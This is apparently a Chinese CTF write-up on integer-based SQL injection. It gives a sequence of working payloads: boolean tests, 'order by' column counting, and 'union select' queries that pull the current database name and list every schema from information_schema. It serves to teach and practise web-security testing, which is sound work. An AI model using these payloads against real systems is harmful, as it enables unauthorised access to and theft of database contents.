目录
题解
0x01 整数型注入
输入1 and 1=1
和1 and 1=2
。
输入1 and 1=2
时界面与1 and 1=1
不同,说明服务端解析了输入的代码,此处存在SQL注入漏洞。
输入1 order by x
(x可以是1,2,3……)查看字段数。
发现输入1 order by 3
时无回显,说明字段数是2。
为什么要查看字段数?
后续注入需要用到union操作符,而根据union操作符的说明,union内部的select语句必须拥有相同数量的列,即通过union连接的两条SQL语句必须字段数一样。[^1]
随后输入123 union select 1,2
可以看到第一个和第二个字段都可以正常在网页中显示。
输入123 union select 1,database()
成功看到当前数据库名称为sqli
。
输入123 union select 1,group_concat(schema_name)from information_schema.schemata
可以看到所有数据库的名称。